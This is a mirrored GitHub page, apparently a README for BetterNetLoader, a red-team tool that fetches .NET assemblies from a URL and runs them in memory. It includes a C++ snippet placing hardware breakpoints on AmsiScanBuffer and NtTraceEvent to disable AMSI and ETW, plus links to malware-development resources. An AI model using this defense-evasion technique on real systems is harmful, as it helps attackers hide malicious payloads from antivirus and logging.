BetterNetLoader

KO | EN

gitlite — search

#electron #openai #ui #macos #rust #github #ruby #computer-vision #cloud-native #golang

BetterNetLoader

(★ 131)

A version of NetLoader, Execute Assemblies and Bypass ETW and AMSI using Hardware Breakpoints

파일 탐색기

ZIP 다운로드

- Base64.cpp
- Base64.h
- BetterNetLoader.cpp
- BetterNetLoader.filters
- BetterNetLoader.user
- BetterNetLoader.vcxproj
- BetterNetLoader.vcxproj.filters
- BetterNetLoader.vcxproj.user
- DotnetExecute.h
- Http.cpp
- Http.h
- HwBpEngine.cpp
- HwBpEngine.h
- LoadLibrary.cpp
- LoadLibrary.h
- LocalFileReaderA.cpp
- LocalFileReaderA.h
- main.cpp
- mscorlib.h
- winternal.cpp
- winternal.h
.gitignore
BetterNetLoader.sln
README.md

# CDN으로 사용하기

jsDelivr

jsDelivr는 공개 GitHub 리포지토리를 별도 설정 없이 CDN으로 즉시 서빙합니다. 버전과 파일을 고르면 웹페이지에 바로 붙일 수 있는 링크와 예시 코드가 만들어집니다.

버전

파일

링크

예시

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

This is a version of [NetLoader](https://github.com/Flangvik/NetLoader) to execute .NET Assemblies in memory and bypassing ETW and AMSI.

Only this version uses Hardware Breakpoints to bypass defenses:
```cpp
HwbpEngineBreakpoint(0, GetProcAddress(LoadLibraryA("amsi.dll"), "AmsiScanBuffer"));
HwbpEngineBreakpoint(1, GetProcAddress(LoadLibraryA("ntdll.dll"), "NtTraceEvent"));
if (!(ExceptionHandle = AddVectoredExceptionHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)HwbpEngineHandler))) {
  printf("[-] AddVectoredContinueHandler Failed with Error: %lx\n", GetLastError());
	goto _END_OF_FUNC;
}
```

It places 2 Hardware Breakpoints: one on `AmsiScanBuffer` and another on `NtTraceEvent` to effectively disable these two functions part of AMSI and ETW respectively.

# Usage:

```cmd
.\BetterNetLoader.exe <url> <arguments...>
```

# Example:
![image](https://github.com/user-attachments/assets/1ad9283c-057e-4e30-be0b-a7c3303dabf5)

# Resources

Hosting the CLR Natively -> https://github.com/etormadiv/HostingCLR

Microsoft Documentation on CLR Hosting using COM Interfaces -> https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clr-hosting-interfaces

Hardware Breakpoint Sample Code (recommended for maldev snippets) -> https://github.com/rad9800/hwbp4mw

VX-API (recommended for maldev snippets) -> https://github.com/vxunderground/VX-API

Maldev Academy for learning about Malware Development -> https://maldevacademy.com

Information about Wininet from Microsoft -> https://learn.microsoft.com/en-us/windows/win32/wininet/about-wininet

Gists for Wininet Windows Library for HTTP Requests -> https://gist.github.com/AhnMo/5cf37bbd9a6fa2567f99ac0528eaa185

# DISCLAIMER

## IMPORTANT: READ CAREFULLY BEFORE USING THIS SOFTWARE

By using this software, you agree to the following terms:

## Purpose of Use
This software is provided strictly for educational purposes only, specifically to help users understand programming techniques, cybersecurity concepts, and software development practices. It is not intended to be used for any malicious, illegal, or unethical activities.

## Prohibited Activities
Any use of this software for the following purposes is explicitly prohibited and is a violation of this agreement:

Exploiting vulnerabilities or gaining unauthorized access to systems, networks, or devices.
Developing or deploying malicious software, such as viruses, trojans, or ransomware.
Engaging in any activities that violate local, national, or international laws or regulations.
Conducting activities that cause harm, disruption, or damage to any individual, organization, or system.

## Liability and Responsibility

The author of this software assumes no liability or responsibility for any damages, losses, or legal consequences resulting from the misuse of this software.
The user is solely responsible for ensuring compliance with all applicable laws and regulations in their jurisdiction. The author disclaims all liability for actions taken by users that violate these laws or this disclaimer.
Acknowledgment of Ethical Use

## By using this software, you acknowledge and agree to:

Use the software in a responsible, ethical, and lawful manner.
Refrain from using the software in any way that could harm individuals, organizations, or infrastructure.
Understand that this software is provided "as is," without any warranty or guarantee of functionality or suitability for any purpose.

## Educational Focus
This software is designed to educate and enhance skills in secure programming, ethical cybersecurity practices, and system understanding. It is intended for use in controlled environments, such as personal research or academic study, where proper authorization has been granted.

By downloading, installing, or using this software, you acknowledge that you have read, understood, and agreed to this disclaimer. If you do not agree with these terms, you are strictly prohibited from using the software and must delete it immediately.

BetterNetLoader

오너의 다른 레포

파일 탐색기

# CDN으로 사용하기

Was this content helpful?

Recent Feedback

BetterNetLoader

오너의 다른 레포

파일 탐색기

# CDN으로 사용하기

Was this content helpful?

Recent Feedback

Download README